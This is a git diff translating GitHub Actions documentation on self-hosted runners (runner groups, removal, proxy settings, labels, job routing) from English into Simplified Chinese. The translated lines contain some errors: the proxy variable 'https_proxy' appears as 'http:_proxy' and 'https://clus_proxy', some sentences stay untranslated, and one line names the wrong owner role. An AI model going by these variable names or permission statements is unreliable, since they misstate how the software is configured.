-1. Click **Add new**, and then **New group**.
+1. 单击 **Add new（新增）**，然后单击 **New group（新组）**。
 
-    ![Add runner group](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for organization access.
+    ![添加运行器组](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
+1. 输入运行程序组的名称，并分配组织访问策略。
 
-    You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
+    您可以配置运行器组供特定的组织列表或企业中所有组织访问。 默认情况下，只有私有仓库可以访问运行器组中的运行器，但您可以覆盖此设置。 This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
 
    {% warning %}
 
-   **Warning**
+   **警告**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)”。
 
    {% endwarning %}
 
-    ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+    ![添加运行器组选项](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
+1. 单击 **Save group（保存组）**创建组并应用策略。
 {% endif %}
 {% endif %}
 
-## Changing the access policy of a self-hosted runner group
+## 更改自托管运行器组的访问策略
 
-You can update the access policy of a runner group, or rename a runner group.
+您可以更新运行器组的访问策略，或重命名运行器组。
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups-selection %}
-1. Modify the access options, or change the runner group name.
+1. 修改访问选项或更改运行器组名称。
 
    {% warning %}
 
-   **Warning**
+   **警告**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)”。
 
    {% endwarning %}
 {% endif %}
@@ -163,54 +164,49 @@ You can update the access policy of a runner group, or rename a runner group.
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-## Automatically adding a self-hosted runner to a group
+## 自动向组添加自托管运行器
 
-You can use the configuration script to automatically add a new self-hosted runner to a group. For example, this command registers a new self-hosted runner and uses the `--runnergroup` parameter to add it to a group named `rg-runnergroup`.
+您可以使用配置脚本自动向组添加新的自托管运行器。 例如， 此命令将注册一个新的自托管运行器，并使用 `--runnergroup` 参数将其添加到名为 `rg-runnergroup` 的组。
 
 ```sh
 ./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup
 ```
 
-The command will fail if the runner group doesn't exist:
+如果运行器组不存在，命令将失败：
 
 ```
-Could not find any self-hosted runner group named "rg-runnergroup".
+找不到名为 "rg-runnergroup" 的任何自托管运行器组。
 ```
 
-## Moving a self-hosted runner to a group
+## 将自托管的运行器移动到组
 
-If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group.
+如果您在注册过程中没有指定运行器组，新的自托管运行器将自动分配到默认组，然后可以移到另一个组。
 {% ifversion ghec or ghes > 3.1 or ghae %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-org-enterprise %}
-1. In the "Runners" list, click the runner that you want to configure.
-2. Select the Runner group dropdown menu.
-3. In "Move runner to group", choose a destination group for the runner.
+1. 在“Runners（运行器）”列表中，单击您要配置的运行器。
+2. 选择运行器组下拉菜单。
+3. 在“Move runner to group（将运行器移动到组）”中，选择运行器的目的地组。
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members.
-    ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png)
-2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png)
-3. To move the runner, click on the destination group.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
+1. 在设置页面的“Self-hosted runners（自托管运行器）：部分，找到要移动的运行器的当前组，并展开组成员列表。 ![查看运行器组成员](/assets/images/help/settings/actions-org-runner-group-members.png)
+2. 选中自托管运行器旁边的复选框，然后单击 **Move to group（移动到组）**以查看可用的目的地。 ![运行器组成员移动](/assets/images/help/settings/actions-org-runner-group-member-move.png)
+3. 要移动运行器，请单击目标组。 ![运行器组成员移动](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
 {% endif %}
-## Removing a self-hosted runner group
+## 删除自托管运行器组
 
-Self-hosted runners are automatically returned to the default group when their group is removed.
+自托管运行器在其组被删除时将自动返回到默认组。
 
 {% ifversion ghes > 3.1 or ghae or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
-1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-2. To remove the group, click **Remove group**.
-3. Review the confirmation prompts, and click **Remove this runner group**.
+1. 在组列表中，在要删除的组右侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}。
+2. 要删除组，请单击 **Remove group（删除组）**。
+3. 查看确认提示，然后单击 **Remove this runner group（删除此运行器组）**。
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-kebab.png)
+1. 在设置页面的“Self-hosted runners（自托管运行器）”部分，找到要删除的组，然后单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 按钮。 ![查看运行器组设置](/assets/images/help/settings/actions-org-runner-group-kebab.png)
 
-1. To remove the group, click **Remove group**.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-remove.png)
+1. 要删除组，请单击 **Remove group（删除组）**。 ![查看运行器组设置](/assets/images/help/settings/actions-org-runner-group-remove.png)
 
-1. Review the confirmation prompts, and click **Remove this runner group**.
+1. 查看确认提示，然后单击 **Remove this runner group（删除此运行器组）**。
 {% endif %}
 {% endif %}
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
index 49a1a6d3d0..dc2fcb9f87 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
@@ -1,5 +1,5 @@
 ---
-title: Removing self-hosted runners
+title: 删除自托管的运行器
 intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
@@ -10,24 +10,24 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Remove self-hosted runners
+shortTitle: 删除自托管的运行器
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Removing a runner from a repository
+## 从仓库中删除运行器
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+要从用户仓库删除自托管的运行器，您必须是仓库所有者。 对于组织仓库，您必须是组织所有者或拥有该仓库管理员的权限。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自托管运行器的信息，请参阅“[自托管运行器](/rest/reference/actions#self-hosted-runners)”。
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghec %}
@@ -44,17 +44,17 @@ To remove a self-hosted runner from a user repository you must be the repository
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an organization
+## 从组织中删除运行器
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+要从组织删除自托管的运行器，您必须是组织所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自托管运行器的信息，请参阅“[自托管运行器](/rest/reference/actions#self-hosted-runners)”。
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
@@ -70,15 +70,16 @@ To remove a self-hosted runner from an organization, you must be an organization
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an enterprise
+## 从企业中删除运行器
 
 {% ifversion fpt %}
-If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
+如果您使用
+{% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
 {% endif %}
 {% ifversion ghec or ghes or ghae %}
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**注意：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
@@ -87,7 +88,7 @@ If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 
 {% ifversion ghec %}
-To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+要从企业帐户删除自托管运行器，您必须是组织所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 添加自托管运行器的信息，请参阅[企业管理 GitHub Actions API](/rest/reference/enterprise-admin#github-actions)。
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
@@ -95,7 +96,8 @@ To remove a self-hosted runner from an enterprise account, you must be an enterp
 {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %}
 {% elsif ghae or ghes %}
-To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine.
+要在
+{% data variables.product.product_location %} 的企业级删除自托管运行器，您必须是企业所有者。 建议您也访问自托管的运行器机器。
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
index 2ae428faa5..c866eb7411 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Using a proxy server with self-hosted runners
-intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.'
+title: 将代理服务器与自托管运行器一起使用
+intro: '您可以配置自托管运行器使用代理服务器与 {% data variables.product.product_name %} 通信。'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
 versions:
@@ -9,48 +9,48 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Proxy servers
+shortTitle: 代理服务器
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a proxy server using environment variables
+## 使用环境变量配置代理服务器
 
-If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables:
+如果需要一个自托管运行器来通过代理服务器通信，则自托管运行器应用程序使用在以下环境变量中设置的代理配置：
 
-* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example:
+* `http:_proxy`：HTTPS 流量的代理 URL。 如果需要，您也可以包括基本验证凭据。 例如：
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example:
+* `http_proxy`：HTTP 流量的代理 URL。 如果需要，您也可以包括基本验证凭据。 例如：
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example:
+* `no_proxy`：逗号分隔的主机列表不应使用代理。 `no_proxy` 中只允许使用主机名，不能使用 IP 地址。 例如：
   * `example.com`
   * `example.com,myserver.local:443,example.org`
 
-The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application.
+当自托管运行器应用程序启动时，会读取代理环境变量，因此您必须在配置或启动自托管运行器应用程序之前设置环境变量。 如果您的代理配置更改，必须重新启动自托管运行器应用程序。
 
-On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable.
+在 Windows 机器上，代理环境变量名称不区分大小写。 在 Linux 和 macOS 机器上，建议环境变量全部小写。 如果您在 Linux 或 macOS 上同时有小写和大写的环境变量， 例如，`https://clus_proxy` 和 `HTTPS_PROXY`，自托管运行器应用程序将使用小写环境变量。
 
 {% data reusables.actions.self-hosted-runner-ports-protocols %}
 
-## Using a .env file to set the proxy configuration
+## 使用 .env 文件设置代理配置
 
-If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration.
+如果设置环境变量不可行，您可以在自托管运行器应用程序目录中名为 _.env_ 的文件中设置代理配置变量。 例如，如果您想要将运行器应用程序配置为系统帐户下的服务，这可能是必需的。 当运行器应用程序启动时，它会读取代理 _.env_ 中为代理配置设置的变量。
 
-An example _.env_ proxy configuration is shown below:
+示例 _.env_ 代理配置如下所示：
 
 ```ini
 https_proxy=http://proxy.local:8080
 no_proxy=example.com,myserver.local:443
 ```
 
-## Setting proxy configuration for Docker containers
+## 设置 Docker 容器的代理配置
 
-If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables.
+如果您在工作流程中使用 Docker 容器操作或服务容器，则除了设置上述环境变量外，可能还需要配置 Docker来使用代理服务器。
 
-For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation.
+有关所需 Docker 配置的信息，请参阅 Docker 文档中的“[配置 Docker 以使用代理服务器](https://docs.docker.com/network/proxy/)”。
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
index 42ac880513..5cdb8720b9 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
@@ -1,80 +1,79 @@
 ---
-title: Using labels with self-hosted runners
-intro: You can use labels to organize your self-hosted runners based on their characteristics.
+title: 将标签与自托管运行器一起使用
+intro: 您可以使用标签以基于其特性来组织自托管运行器。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Label runners
+shortTitle: 标签运行器
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)."
+有关如何使用标签将作业路由到特定类型的自托管运行器的信息，请参阅“[在工作流程中使用自托管的运行器](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)”。
 
 {% data reusables.github-actions.self-hosted-runner-management-permissions-required %}
 
-## Creating a custom label
+## 创建自定义标签
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
  {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
- 1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
- 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
- The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
+ 1. 在“Labels（标签）”部分，单击 {% octicon "gear" aria-label="The Gear icon" %}。
+ 1. 在“Find or create a label（查找或创建标签）”字段中，键入新标签的名称，并单击 **Create new label（创建新标签）**。 将创建自定义标签并分配给自托管运行器。 可以从自托管的运行器中删除自定义标签，但当前无法手动删除。 {% data reusables.github-actions.actions-unused-labels %}
 {% endif %}
 {% ifversion ghae or ghes %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.self-hosted-runner-list %}
 {% data reusables.github-actions.self-hosted-runner-list-group %}
 {% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
-    ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
-    
-The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Assigning a label to a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on a label to assign it to your self-hosted runner. 
-{% endif %}
-## Removing a custom label from a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Using the configuration script to create and assign labels
+1. 在“Filter labels（过滤标签）”字段中，键入新标签的名称，并单击 **Create new label（创建新标签）**。 ![添加运行器标签](/assets/images/help/settings/actions-add-runner-label.png)
 
-You can use the configuration script on the self-hosted runner to create and assign custom labels. For example, this command assigns a label named `gpu` to the self-hosted runner. 
+将创建自定义标签并分配给自托管运行器。 可以从自托管的运行器中删除自定义标签，但当前无法手动删除。 {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## 分配标签给自托管的运行器
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. 要将标签分配给您的自托管运行器，在“Find or create a label（查找或创建标签）”字段中单击标签。
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. 单击标签以将其分配给您的自托管运行器。
+{% endif %}
+## 删除自托管运行器中的自定义标签
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. 在“Find or create a label（查找或创建标签）”字段中，分配的标签使用
+{% octicon "check" aria-label="The Check icon" %} 图标来标记。 单击标记的标签以将其从您的自托管运行器取消分配。
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. 单击分配的标签以将其从您的自托管运行器中删除。 {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## 使用配置脚本创建和分配标签
+
+您可以使用自托管运行器上的配置脚本创建和分配自定义标签。 例如，此命令将名为 `gpu` 的标签分配给自托管运行器。
 
 ```shell
 ./config.sh --labels gpu
 ```
 
-The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
+如果标签不存在，则创建该标签。 您也可以使用此方法将默认标签分配给运行器，例如 `x64` 或 `linux`.。 使用配置脚本分配默认标签后， {% data variables.product.prodname_actions %} 会接受它们，而不验证运行器是否实际使用该操作系统或架构。
 
-You can use comma separation to assign multiple labels. For example:
+您可以使用逗号分隔来分配多个标签。 例如：
 
 ```shell
 ./config.sh --labels gpu,x64,linux
@@ -82,6 +81,6 @@ You can use comma separation to assign multiple labels. For example:
 
 {% note %}
 
-** Note:** If you replace an existing runner, then you must reassign any custom labels.
+** 注：** 如果替换现有的运行器，则必须重新分配任何自定义标签。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md b/translations/zh-CN/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
index 8b533bffd4..5929d8ac2d 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Using self-hosted runners in a workflow
-intro: 'To use self-hosted runners in a workflow, you can use labels to specify the runner type for a job.'
+title: 在工作流程中使用自托管的运行器
+intro: 要在工作流程中使用自托管的运行器，您可以使用标签为作业指定运行器类型。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
   - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
@@ -10,77 +10,82 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Use runners in a workflow
+shortTitle: 在工作流程中使用运行器
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+有关创建自定义和默认标签的信息，请参阅“[将标签与自托管运行器一起使用](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)。”
 
-## Using self-hosted runners in a workflow
+## 在工作流程中使用自托管的运行器
 
-Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label.
+标签允许您根据其共同特征向特定类型的自托管运行器发送工作流程作业。 例如，如果您的作业需要特定的硬件组件或软件包。 您可以将一个自定义标签分配给运行器，然后将您的作业配置为仅在带该标签的运行器中执行。
 
 {% data reusables.github-actions.self-hosted-runner-labels-runs-on %}
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)”。
 
-## Using default labels to route jobs
+## 使用默认标签路由作业
 
-A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform:
+在被添加到 {% data variables.product.prodname_actions %} 后，自托管运行器将自动收到某些标签。 这些被用于指出其操作系统和硬件平台：
 
-* `self-hosted`: Default label applied to all self-hosted runners.
-* `linux`, `windows`, or `macOS`: Applied depending on operating system.
-* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture.
+* `self-hosted`：应用到所有自托管运行器的默认标签。
+* `linux`、`windows` 或 `macOS`：根据操作系统应用。
+* `x64`、`ARM` 或 `ARM64`：根据硬件架构应用。
 
-You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job:
+您可以使用您工作流程的 YAML 将作业发送到这些标签的组合。 在此示例中，与所有三个标签匹配的自托管运行器将有资格运行该作业：
 
 ```yaml
 runs-on: [self-hosted, linux, ARM64]
 ```
 
-- `self-hosted` - Run this job on a self-hosted runner.
-- `linux` - Only use a Linux-based runner.
-- `ARM64` - Only use a runner based on ARM64 hardware.
+- `self-hosted` - 在自托管运行器上运行此作业。
+- `linux` - 仅使用基于 Linux 的运行器。
+- `ARM64` - 仅使用基于 ARM64 硬件的运行器。
 
-The default labels are fixed and cannot be changed or removed. Consider using custom labels if you need more control over job routing.
+默认标签是固定的，无法更改或删除。 如果您需要对作业路由的更多控制，考虑使用自定义标签。
 
-## Using custom labels to route jobs
+## 使用自定义标签路由作业
 
-You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled. 
+您可以随时创建自定义标签并将其分配给您的自托管运行器。 自定义标签允许您根据其标注将作业发送给特定的自托管运行器类型。
 
-For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job. 
+例如，如果您的某个作业需要特定类型的图形硬件，则可以创建名为 `gpu` 的自定义标签，并将其分配给安装了该硬件的运行器。 然后，与所有已分配的标签匹配的自托管运行器将有资格运行该作业。
 
-This example shows a job that combines default and custom labels:
+此示例显示组合默认标签和自定义标签的作业：
 
 ```yaml
 runs-on: [self-hosted, linux, x64, gpu]
 ```
 
-- `self-hosted` - Run this job on a self-hosted runner.
-- `linux` - Only use a Linux-based runner.
-- `x64` - Only use a runner based on x64 hardware.
-- `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed. 
+- `self-hosted` - 在自托管运行器上运行此作业。
+- `linux` - 仅使用基于 Linux 的运行器。
+- `x64` - 仅使用基于 x64 硬件的运行器。
+- `gpu` - 此自定义标签已被手动分配给安装了 GPU 硬件的自托管运行器。
 
-These labels operate cumulatively, so a self-hosted runner’s labels must match all four to be eligible to process the job.
+这些标签累计运行，所以自托管运行器的标签必须匹配所有四个标签才能处理该作业。
 
-## Routing precedence for self-hosted runners
+## 自托管运行器的路由优先级
 
-When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels:
+将作业路由到自托管运行器时，{% data variables.product.prodname_dotcom %} 将查找与作业的 `runs-on` 标签匹配的运行器：
 
-{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
